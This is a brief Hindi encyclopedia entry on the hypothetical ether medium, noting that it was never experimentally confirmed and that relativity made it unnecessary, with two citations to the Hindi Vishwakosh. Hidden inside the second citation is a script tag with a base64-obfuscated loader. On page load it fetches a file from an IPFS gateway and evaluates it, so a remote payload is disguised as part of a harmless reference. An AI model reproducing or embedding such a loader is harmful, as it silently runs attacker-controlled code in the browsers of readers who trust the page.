ईथर (परिकल्पित माध्यम)  

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संपूर्ण ब्रह्मांड में तथा समस्त पदार्थो के अंतरंग में व्याप्त एक परिकल्पित माध्यम जिसमें विद्युतचुंबकीय तरंगों के संचार की संभावना प्रकट की गई है, यद्यपि ईथर के अस्तित्व की पुष्टि किसी प्रयोग द्वारा नहीं की जा सकी है। कई वर्षों तक वैज्ञानिक ईथर के गुणों को समझने की चेष्टा करते रहे, लेकिन इसमें उन्हें सफलता नहीं मिली और पता चला कि ईथर का वास्तविकता से कोई संबंध नहीं है। आइंसटाइन के आपेक्षिकता सिद्धांत के अनुसार ईथर की संकल्पना व्यर्थ है। अत: इसके अस्तित्व को अब अधिकांश वैज्ञानिक नहीं मानते हैं।[१][२]



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टीका टिप्पणी और संदर्भ

  1. हिंदी विश्वकोश खण्ड 2 पेज 27,लेख सम्पादक-नामवर सिंह
  2. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 27 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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